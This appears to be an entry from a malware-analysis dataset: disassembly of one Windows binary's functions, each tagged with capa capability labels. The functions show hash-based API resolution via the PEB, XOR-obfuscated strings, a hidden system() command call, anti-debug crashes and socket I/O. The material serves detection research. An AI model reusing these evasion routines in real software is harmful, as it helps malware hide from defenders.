joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400045c0
Capabilities:
Access peb ldr_data
Encode data using xor
Get ntdll base address
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push rbx
sub rsp, 0x40
mov rcx, qword [0x140081460]
xor ebx, ebx
mov eax, dword [0x1400810d4]
mov dword [0x1400810d0], eax
test rcx, rcx
jne 0x14000476a
mov rax, qword gs:[0x60]
mov r11d, 0xf4d8b55
mov qword [rsp + 0x60], rbp
mov ebp, ebx
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x38], rdi
mov rcx, qword [rax + 0x18]
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r15
mov r12, qword [rcx + 0x10]
mov rsi, r12
nop
movups xmm0, xmmword [rsi + 0x58]
movd eax, xmm0
sub ax, 8
test ebp, ebp
je 0x14000466c
psrldq xmm0, 8
mov edx, 0x811c9dc5
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
cmp rcx, r8
je 0x140004664
nop
movsx eax, byte [rcx]
add rcx, 2
xor eax, edx
imul edx, eax, 0x1000193
cmp rcx, r8
jne 0x140004650
cmp edx, ebp
jne 0x140004733
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov r15, rcx
mov r10d, ecx
shr r15, 0x20
add r10, r9
cmp r10, r9
je 0x140004733
mov r8d, dword [r10 + 0x18]
test r8d, r8d
je 0x140004733
mov r14d, dword [r10 + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [r14 + r8*4]
mov eax, dword [rax + r9]
add rax, r9
movzx ecx, byte [rax]
inc rax
test cl, cl
je 0x1400046e7
nop dword [rax]
movsx ecx, cl
lea rax, [rax + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [rax - 1]
test cl, cl
jne 0x1400046d0
cmp edx, r11d
je 0x1400046f3
test r8d, r8d
jne 0x1400046b0
jmp 0x140004733
mov ecx, dword [r10 + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [r10 + 0x1c]
add rcx, r9
mov ecx, dword [rcx + rdx*4]
add rcx, r9
cmp rcx, r10
jbe 0x140004745
lea rax, [r15 + r10]
cmp rcx, rax
jae 0x140004745
mov ebp, 0x811c9dc5
mov rsi, r12
mov dword [rsp + 0x58], ebp
mov dword [rsp + 0x5c], ebp
mov r11, qword [rsp + 0x58]
shr r11, 0x20
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r12
jne 0x140004620
mov rcx, rbx
mov r15, qword [rsp + 0x20]
mov r14, qword [rsp + 0x28]
mov r12, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x60]
mov qword [0x140081460], rcx
call rcx
mov ecx, dword [0x1400810d0]
mov dword [0x1400810d4], eax
test ecx, ecx
je 0x1400047cb
sub eax, ecx
cmp eax, 0x1770
jbe 0x1400047cb
mov dword [rsp + 0x50], 0x5323709
mov word [rsp + 0x54], 0x100
nop dword [rax]
nop dword [rax + rax]
lea eax, [rbx + 0x5d]
xor byte [rsp + rbx + 0x50], al
inc rbx
cmp rbx, 4
jb 0x1400047a0
lea rcx, [rsp + 0x50]
mov byte [rsp + 0x55], 0
call fcn.1400062b0
mov qword [0], 1
xor eax, eax
add rsp, 0x40
pop rbx
ret

Function at 0x1400047e0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 5], 0
je 0x140004803
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x5d]
xor byte [rax + rcx], dl
inc rax
cmp rax, 4
jb 0x1400047f0
mov byte [rcx + 5], 0
mov rax, rcx
ret
Function at 0x1400060a0
Capabilities:
Access peb ldr_data
Hash data using fnv
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0x80
mov rax, qword [0x140081498]
test rax, rax
jne 0x140006285
xor r10d, r10d
mov dword [rsp + 0x28], r10d
mov eax, 0xfaba0065
mov dword [rsp + 0x24], eax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov r11, qword [rcx + 0x10]
mov qword [rsp + 0x48], r11
mov r15, r11
mov qword [rsp + 0x50], r11
mov rcx, r11
nop dword [rax + rax]
movups xmm0, xmmword [rcx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd ecx, xmm0
sub cx, 8
mov word [rsp + 0x58], cx
test r10d, r10d
je 0x140006156
mov rdx, qword [rsp + 0x60]
movzx ecx, cx
shr rcx, 1
lea r9, [rdx + rcx*2]
mov r8d, 0x811c9dc5
mov qword [rsp + 0x38], rdx
cmp rdx, r9
je 0x14000614d
movsx ecx, byte [rdx]
xor ecx, r8d
imul r8d, ecx, 0x1000193
add rdx, 2
jmp 0x140006130
cmp r8d, r10d
jne 0x140006265
mov rbx, qword [r11 + 0x30]
mov qword [rsp + 0x68], rbx
movsxd rcx, dword [rbx + 0x3c]
mov r14, qword [rcx + rbx + 0x88]
mov qword [rsp + 0xa8], r14
mov r9d, r14d
add r9, rbx
mov qword [rsp + 0x70], r9
shr r14, 0x20
mov dword [rsp + 0x78], r14d
cmp r9, rbx
je 0x140006265
mov edi, dword [r9 + 0x18]
mov dword [rsp + 0x20], edi
nop dword [rax + rax]
mov ecx, edi
dec edi
mov dword [rsp + 0x20], edi
test ecx, ecx
je 0x140006265
mov edx, dword [r9 + 0x20]
add rdx, rbx
mov r8d, dword [rdx + rdi*4]
add r8, rbx
mov qword [rsp + 0x40], r8
mov edx, 0x811c9dc5
nop dword [rax + rax]
movsx ecx, byte [r8]
inc r8
mov qword [rsp + 0x40], r8
test cl, cl
jne 0x140006258
cmp edx, eax
jne 0x140006253
mov ecx, dword [r9 + 0x1c]
add rcx, rbx
mov eax, dword [r9 + 0x24]
add rax, rbx
movzx eax, word [rax + rdi*2]
mov edx, dword [rcx + rax*4]
add rdx, rbx
cmp rdx, r9
jbe 0x14000627b
lea rax, [r9 + r14]
cmp rdx, rax
jae 0x14000627b
mov r10d, 0x811c9dc5
mov dword [rsp + 0xa0], r10d
mov eax, r10d
mov dword [rsp + 0xa4], eax
mov qword [rsp + 0x30], rdx
cmp byte [rdx], 0x2e
je 0x140006231
inc rdx
jmp 0x140006222
inc rdx
mov qword [rsp + 0x30], rdx
cmp byte [rdx], 0
je 0x140006240
jmp 0x140006231
mov dword [rsp + 0x24], eax
mov dword [rsp + 0x28], r10d
mov r11, r15
mov qword [rsp + 0x48], r15
jmp 0x140006265
jmp 0x1400061a0
xor ecx, edx
imul edx, ecx, 0x1000193
jmp 0x1400061d0
mov r11, qword [r11]
mov rcx, r11
mov qword [rsp + 0x48], r11
cmp r11, r15
jne 0x140006100
xor edx, edx
mov qword [0x140081498], rdx
mov rax, rdx
mov ecx, 0x13333337
call rax
jmp 0x140006290
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rdi
ret
Function at 0x1400062b0
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov rdi, rcx
mov dword [rsp + 0x20], 0xf2d2c38
xor edx, edx
mov dword [rsp + 0x24], 0x44594213
mov word [rsp + 0x28], 0x100
nop dword [rax]
lea eax, [rdx + 0x5d]
xor byte [rsp + rdx + 0x20], al
inc rdx
cmp rdx, 8
jb 0x1400062e0
lea rdx, [rsp + 0x20]
mov byte [rsp + 0x29], 0
mov rcx, rbx
call fcn.140002b90
mov rdx, rdi
mov rcx, rbx
call fcn.140002b90
lea rdx, [0x140002ec0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x1400063a7
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x1400063a7
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x1400063a2
nop
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x140006380
cmp r8d, 0x2fa62ca8
je 0x1400063ac
test r9d, r9d
jne 0x140006360
mov rax, qword [rax]
jmp 0x140006330
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
mov ecx, 0xbb8
add rax, r10
call rax
mov rbx, qword [rsp + 0x40]
mov qword [0], 1
add rsp, 0x30
pop rdi
ret
Function at 0x14000aa60
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
sub rsp, 0x88
mov rax, qword [0x140080800]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov r10, qword [0x140081490]
xor r11d, r11d
mov qword [rsp + 0x58], r11
test r10, r10
jne 0x14000ac3d
mov rax, qword gs:[0x60]
mov r10d, 0xdf6a51c
mov qword [rsp + 0x98], rbp
mov ebp, r11d
mov qword [rsp + 0xa0], rsi
mov qword [rsp + 0xa8], rdi
mov rcx, qword [rax + 0x18]
mov qword [rsp + 0x80], r12
mov qword [rsp + 0x78], r14
mov qword [rsp + 0x90], rbx
mov r12, qword [rcx + 0x10]
mov rsi, r12
mov qword [rsp + 0x70], r15
nop dword [rax]
movups xmm0, xmmword [rsi + 0x58]
movd eax, xmm0
sub ax, 8
test ebp, ebp
je 0x14000ab2c
psrldq xmm0, 8
mov edx, 0x811c9dc5
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
cmp rcx, r8
je 0x14000ab24
nop
movsx eax, byte [rcx]
add rcx, 2
xor eax, edx
imul edx, eax, 0x1000193
cmp rcx, r8
jne 0x14000ab10
cmp edx, ebp
jne 0x14000abf2
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov r15, rcx
mov ebx, ecx
shr r15, 0x20
add rbx, r9
cmp rbx, r9
je 0x14000abf2
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000abf2
mov r14d, dword [rbx + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [r14 + r8*4]
mov eax, dword [rax + r9]
add rax, r9
movzx ecx, byte [rax]
inc rax
test cl, cl
je 0x14000aba7
nop dword [rax]
movsx ecx, cl
lea rax, [rax + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [rax - 1]
test cl, cl
jne 0x14000ab90
cmp edx, r10d
je 0x14000abb3
test r8d, r8d
jne 0x14000ab70
jmp 0x14000abf2
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov r10d, dword [rcx + rdx*4]
add r10, r9
cmp r10, rbx
jbe 0x14000ac04
lea rax, [rbx + r15]
cmp r10, rax
jae 0x14000ac04
mov ebp, 0x811c9dc5
mov rsi, r12
mov dword [rsp + 0x50], ebp
mov dword [rsp + 0x54], ebp
mov r10, qword [rsp + 0x50]
shr r10, 0x20
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r12
jne 0x14000aae0
mov r10, r11
mov r15, qword [rsp + 0x70]
mov r14, qword [rsp + 0x78]
mov r12, qword [rsp + 0x80]
mov rdi, qword [rsp + 0xa8]
mov rsi, qword [rsp + 0xa0]
mov rbp, qword [rsp + 0x98]
mov rbx, qword [rsp + 0x90]
mov qword [0x140081490], r10
movdqa xmm0, xmmword [0x140062e10]
movdqu xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x40], 0x26333a29
mov dword [rsp + 0x44], 0x2b2b3d33
mov word [rsp + 0x48], 0x2a
mov byte [rsp + 0x4a], 1
nop word [rax + rax]
lea eax, [r11 + 0x5d]
xor byte [rsp + r11 + 0x30], al
inc r11
cmp r11, 0x19
jb 0x14000ac70
lea rax, [rsp + 0x58]
mov byte [rsp + 0x4a], 0
mov r9d, 0x20019
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, [rsp + 0x30]
mov rcx, 0xffffffff80000002
call r10
test eax, eax
jne 0x14000acb9
mov qword [0], 1
xor eax, eax
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.14000b950
add rsp, 0x88
ret
Function at 0x14000c4f4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000c53e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000c53e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000c53e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000c53e
cmp dword [rcx + 0x84], 0xe
jbe 0x14000c53e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000c540
xor al, al
add rsp, 0x28
ret

Function at 0x140001058
Capabilities:
Execute command

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
mov rbp, rsp
sub rsp, 0x80
movabs rax, 0x4f5f6cc2961c1817
lea rcx, [rbp - 0x30]
mov qword [rbp - 0x30], rax
movabs rbx, 0xcd8dc6b3f89b5df2
mov qword [rbp - 0x18], rbx
movabs rax, 0xd74d4a84dffb6329
mov qword [rbp - 0x28], rax
movabs rsi, 0x4f2d6ca09675185b
movdqa xmm0, xmmword [rbp - 0x30]
movabs rax, 0xfe87d9727e801c81
mov qword [rbp - 0x20], rax
movabs rdi, 0xd7634afddf896348
movdqa xmm1, xmmword [rbp - 0x20]
movabs r14, 0xfe87d91e7eec1ce5
mov qword [rbp - 0x60], rsi
mov qword [rbp - 0x58], rdi
pxor xmm0, xmmword [rbp - 0x60]
mov qword [rbp - 0x50], r14
mov qword [rbp - 0x48], rbx
pxor xmm1, xmmword [rbp - 0x50]
movdqa xmmword [rbp - 0x20], xmm1
movdqa xmmword [rbp - 0x30], xmm0
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
test rax, rax
jne 0x1400011ec
movabs rcx, 0x2d6c077955558d7c
mov qword [rbp - 0x60], rsi
mov qword [rbp - 8], rcx
movabs rax, 0x6f4a02c9e5067116
mov qword [rbp - 0x30], rax
movabs rax, 0xb9062e93baf9062c
mov qword [rbp - 0x28], rax
movabs rax, 0x8ce5b0525ccc6586
movdqa xmm0, xmmword [rbp - 0x30]
mov qword [rbp - 0x20], rax
movabs rax, 0xefe1aad7d6e22f93
mov qword [rbp - 0x18], rax
movabs rax, 0xf4b82ecb10bf0e5
movdqa xmm1, xmmword [rbp - 0x20]
mov qword [rbp - 0x10], rax
movabs rax, 0xf4b82ecb10bf0ef
mov qword [rbp - 0x38], rcx
lea rcx, [rbp - 0x30]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x58], rdi
pxor xmm0, xmmword [rbp - 0x60]
movdqa xmmword [rbp - 0x30], xmm0
movdqa xmm0, xmmword [rbp - 0x10]
pxor xmm0, xmmword [rbp - 0x40]
mov qword [rbp - 0x50], r14
mov qword [rbp - 0x48], rbx
pxor xmm1, xmmword [rbp - 0x50]
movdqa xmmword [rbp - 0x10], xmm0
movdqa xmmword [rbp - 0x20], xmm1
call fcn.140001008
mov qword [rbp - 0x58], rdi
lea rcx, [rbp - 0x60]
movabs rax, 0x4f2d6cc5e500792b
mov qword [rbp - 0x30], rsi
mov qword [rbp - 0x60], rax
movdqa xmm0, xmmword [rbp - 0x60]
mov qword [rbp - 0x28], rdi
pxor xmm0, xmmword [rbp - 0x30]
movdqa xmmword [rbp - 0x60], xmm0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x7fffffff
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400011ec
Function at 0x140009c80
Capabilities:
Hash data using crc32b

Disassembly:
xor r9d, r9d
lea r10, [0x1400b1010]
nop word [rax + rax]
xor eax, eax
test r9b, 1
je 0x140009c9c
bts eax, 7
mov ecx, r9d
shr ecx, 1
test cl, 1
je 0x140009caa
bts eax, 6
shr ecx, 1
test cl, 1
je 0x140009cb5
bts eax, 5
shr ecx, 1
test cl, 1
je 0x140009cc0
bts eax, 4
shr ecx, 1
test cl, 1
je 0x140009ccb
bts eax, 3
shr ecx, 1
test cl, 1
je 0x140009cd6
bts eax, 2
shr ecx, 1
test cl, 1
je 0x140009ce1
bts eax, 1
test cl, 2
je 0x140009cea
bts eax, 0
shl eax, 0x18
lea ecx, [rax + rax]
mov edx, ecx
xor edx, 0x4c11db7
test eax, eax
cmovns edx, ecx
lea eax, [rdx + rdx]
mov ecx, eax
xor ecx, 0x4c11db7
test edx, edx
cmovns ecx, eax
lea eax, [rcx + rcx]
mov edx, eax
xor edx, 0x4c11db7
test ecx, ecx
cmovns edx, eax
lea eax, [rdx + rdx]
mov ecx, eax
xor ecx, 0x4c11db7
test edx, edx
cmovns ecx, eax
lea eax, [rcx + rcx]
mov edx, eax
xor edx, 0x4c11db7
test ecx, ecx
cmovns edx, eax
lea eax, [rdx + rdx]
mov ecx, eax
xor ecx, 0x4c11db7
test edx, edx
cmovns ecx, eax
lea eax, [rcx + rcx]
mov edx, eax
xor edx, 0x4c11db7
test ecx, ecx
cmovns edx, eax
lea eax, [rdx + rdx]
mov r8d, eax
xor r8d, 0x4c11db7
test edx, edx
cmovns r8d, eax
xor ecx, ecx
lea edx, [rcx + 0x1e]
test r8b, 1
je 0x140009d81
lea eax, [rdx + 1]
bts ecx, eax
sar r8d, 1
test r8b, 1
je 0x140009d8d
bts ecx, edx
sar r8d, 1
sub edx, 2
cmp edx, 0xfffffffe
jg 0x140009d75
mov dword [r10], ecx
inc r9d
add r10, 4
cmp r9d, 0x100
jl 0x140009c90
mov dword [0x1400b1000], 1
ret
Function at 0x14000cbd0
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
cmp dword [r8 + 0x38], 1
mov rdi, r9
mov rbx, r8
mov r14, rdx
mov rbp, rcx
je 0x14000cbff
xor eax, eax
jmp 0x14000cdb7
mov ecx, dword [r9 + 0x10]
mov qword [rsp + 0x30], rsi
call qword [sym.imp.WS2_32.dll_ntohl]
mov esi, eax
lea rax, [rsi - 1]
cmp rax, 0xfe
ja 0x14000cd78
mov ecx, dword [rdi + 0x1c]
call qword [sym.imp.WS2_32.dll_ntohl]
cmp eax, dword [rbx + 0xa4]
jne 0x14000cd78
mov ecx, dword [rdi + 0x20]
call qword [sym.imp.WS2_32.dll_ntohl]
cmp eax, dword [rbx + 0x9c]
jne 0x14000cd78
mov ecx, dword [rdi + 0x24]
call qword [sym.imp.WS2_32.dll_ntohl]
cmp eax, dword [rbx + 0xa0]
jne 0x14000cd78
mov eax, dword [rbx + 0x1c]
cmp dword [rdi + 0x28], eax
jne 0x14000cd78
mov edx, 1
mov r8b, 0xff
mov rcx, rbx
call fcn.14000cdd0
cmp rsi, qword [rbx + 0x48]
jae 0x14000cc85
mov qword [rbx + 0x48], rsi
movzx ecx, word [rdi + 4]
call qword [sym.imp.WS2_32.dll_ntohs]
mov word [rbx + 0x18], ax
movzx eax, byte [rdi + 6]
mov byte [rbx + 0x21], al
movzx eax, byte [rdi + 7]
mov byte [rbx + 0x20], al
mov ecx, dword [rdi + 8]
call qword [sym.imp.WS2_32.dll_ntohl]
mov ecx, 0x240
mov esi, 0x1000
cmp eax, ecx
jb 0x14000ccbf
cmp eax, esi
mov ecx, eax
cmova ecx, esi
cmp ecx, dword [rbx + 0xd0]
jae 0x14000cccd
mov dword [rbx + 0xd0], ecx
mov ecx, dword [rdi + 0xc]
call qword [sym.imp.WS2_32.dll_ntohl]
cmp eax, esi
jb 0x14000cce6
mov ecx, 0x10000
mov esi, eax
cmp eax, ecx
cmova esi, ecx
cmp esi, dword [rbx + 0xd4]
jae 0x14000ccf4
mov dword [rbx + 0xd4], esi
mov ecx, dword [rdi + 0x14]
call qword [sym.imp.WS2_32.dll_ntohl]
mov dword [rbx + 0x50], eax
mov ecx, dword [rdi + 0x18]
call qword [sym.imp.WS2_32.dll_ntohl]
mov dword [rbx + 0x54], eax
mov rcx, rbx
mov dword [rbp + 0x24], 1
test r14, r14
je 0x14000cd40
call fcn.14000a2f0
mov dword [rbx + 0x38], 5
mov dword [r14], 1
mov qword [r14 + 8], rbx
mov eax, dword [rbx + 0x1c8]
mov dword [r14 + 0x14], eax
xor eax, eax
jmp 0x14000cdb2
xor edi, edi
cmp dword [rbx + 0x38], 1
sete dil
add edi, 3
call fcn.14000a320
cmp dword [rbx + 0x140], 0
mov dword [rbx + 0x38], edi
jne 0x14000cd74
lea rcx, [rbp + 0x48]
mov rdx, rbx
call fcn.140009aa0
mov dword [rbx + 0x140], 1
xor eax, eax
jmp 0x14000cdb2
xor edi, edi
mov rcx, rbx
mov dword [rbx + 0x1c8], edi
call fcn.14000a320
mov dword [rbx + 0x38], 9
cmp dword [rbx + 0x140], edi
jne 0x14000cdad
lea rcx, [rbp + 0x48]
mov rdx, rbx
call fcn.140009aa0
mov dword [rbx + 0x140], 1
mov eax, 0xffffffff
mov rsi, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x14000dcb0
Capabilities:
Resolve dns

Disassembly:
push rbx
push r14
sub rsp, 0x58
mov rax, qword [0x1400ad5c0]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov r14, rcx
mov rbx, rdx
mov rcx, rdx
call qword [sym.imp.WS2_32.dll_gethostbyname]
test rax, rax
je 0x14000dcf5
cmp word [rax + 0x10], 2
jne 0x14000dcf5
mov rax, qword [rax + 0x18]
mov rcx, qword [rax]
mov eax, dword [rcx]
mov dword [r14], eax
xor eax, eax
jmp 0x14000dda9
mov qword [rsp + 0x80], rbp
mov qword [rsp + 0x50], rsi
xor esi, esi
mov qword [rsp + 0x48], rdi
mov ebp, esi
mov qword [rsp + 0x40], r15
mov edi, esi
mov dword [rsp + 0x28], 0
lea r15d, [rsi + 0x2e]
nop
lea rdx, [rbx + 1]
mov qword [rsp + 0x20], rdx
cmp byte [rbx], 0x30
je 0x14000dd63
mov r8d, 0xa
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtol]
cmp eax, 0xff
ja 0x14000dd8b
mov rdx, qword [rsp + 0x20]
cmp rdx, rbx
je 0x14000dd8b
mov rcx, rdx
sub rcx, rbx
cmp rcx, 3
jg 0x14000dd8b
mov byte [rsp + rdi + 0x28], al
movsx eax, byte [rdx]
cmp ebp, 3
mov ecx, esi
cmovl ecx, r15d
cmp eax, ecx
jne 0x14000dd8b
inc ebp
lea rbx, [rdx + 1]
inc rdi
cmp rdi, 4
jl 0x14000dd20
mov eax, dword [rsp + 0x28]
mov dword [r14], eax
jmp 0x14000dd90
mov esi, 0xffffffff
mov r15, qword [rsp + 0x40]
mov eax, esi
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.14007bab0
add rsp, 0x58
pop r14
pop rbx
ret

Function at 0x14000ddd0
Capabilities:
Initialize winsock library

Disassembly:
sub rsp, 0x1d8
mov rax, qword [0x1400ad5c0]
xor rax, rsp
mov qword [rsp + 0x1c0], rax
mov ecx, 0x101
lea rdx, [rsp + 0x20]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x14000de39
movzx eax, word [rsp + 0x20]
cmp al, 1
jne 0x14000de33
shr ax, 8
cmp al, 1
jne 0x14000de33
mov ecx, 1
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
xor eax, eax
mov rcx, qword [rsp + 0x1c0]
xor rcx, rsp
call fcn.14007bab0
add rsp, 0x1d8
ret
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 0xffffffff
mov rcx, qword [rsp + 0x1c0]
xor rcx, rsp
call fcn.14007bab0
add rsp, 0x1d8
ret

Function at 0x14000df30
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push rbx
sub rsp, 0x40
mov rax, qword [0x1400ad5c0]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rbx, rdx
mov dword [rsp + 0x20], reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x28]
lea r8, [rsp + 0x20]
call qword [sym.imp.WS2_32.dll_getsockname]
cmp eax, 0xffffffff
jne 0x14000df78
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.14007bab0
add rsp, 0x40
pop rbx
ret
mov eax, dword [rsp + 0x2c]
movzx ecx, word [rsp + 0x2a]
mov dword [rbx], eax
call qword [sym.imp.WS2_32.dll_ntohs]
mov word [rbx + 4], ax
xor eax, eax
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.14007bab0
add rsp, 0x40
pop rbx
ret
Function at 0x14000dfb0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbx
sub rsp, 0x80
mov rax, qword [0x1400ad5c0]
xor rax, rsp
mov qword [rsp + 0x70], rax
mov r11, r9
mov dword [rsp + 0x54], reloc.WS2_32.dll_recv
mov rbx, rdx
lea r9, [rsp + 0x54]
xor edx, edx
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rdx
mov r10, r8
mov qword [rsp + 0x38], rdx
test rbx, rbx
mov dword [rsp + 0x50], edx
mov r8d, r11d
cmove r9, rdx
cmove rax, rdx
mov qword [rsp + 0x30], r9
mov rdx, r10
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x58]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_WSARecvFrom]
cmp eax, 0xffffffff
jne 0x14000e03e
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
sub eax, 0x2733
je 0x14000e03a
cmp eax, 0x13
jne 0x14000e048
xor eax, eax
jmp 0x14000e06d
test dword [rsp + 0x50], 0x8000
je 0x14000e04f
mov eax, 0xffffffff
jmp 0x14000e06d
test rbx, rbx
je 0x14000e069
mov eax, dword [rsp + 0x64]
movzx ecx, word [rsp + 0x62]
mov dword [rbx], eax
call qword [sym.imp.WS2_32.dll_ntohs]
mov word [rbx + 4], ax
mov eax, dword [rsp + 0x58]
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.14007bab0
add rsp, 0x80
pop rbx
ret

Function at 0x14000e090
Capabilities:
Send data
Send data on socket

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r14
sub rsp, 0x70
mov rax, qword [0x1400ad5c0]
xor rax, rsp
mov qword [rsp + 0x68], rax
xor r14d, r14d
mov rbp, r9
mov rsi, r8
mov rbx, rdx
mov rdi, rcx
test rdx, rdx
je 0x14000e0e2
movzx ecx, word [rdx + 4]
mov eax, 2
mov word [rsp + 0x58], ax
mov qword [rsp + 0x60], r14
call qword [sym.imp.WS2_32.dll_htons]
mov word [rsp + 0x5a], ax
mov eax, dword [rbx]
mov dword [rsp + 0x5c], eax
mov qword [rsp + 0x40], r14
mov rax, rbx
neg rax
mov qword [rsp + 0x38], r14
lea rax, [rsp + 0x58]
mov r8d, ebp
sbb r9d, r9d
mov rdx, rsi
and r9d, 0x10
mov rcx, rdi
mov dword [rsp + 0x30], r9d
test rbx, rbx
lea r9, [rsp + 0x50]
cmove rax, r14
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r14d
call qword [sym.imp.WS2_32.dll_WSASendTo]
cmp eax, 0xffffffff
jne 0x14000e13e
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
sub eax, 0x2733
neg eax
sbb eax, eax
jmp 0x14000e142
mov eax, dword [rsp + 0x50]
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.14007bab0
add rsp, 0x70
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret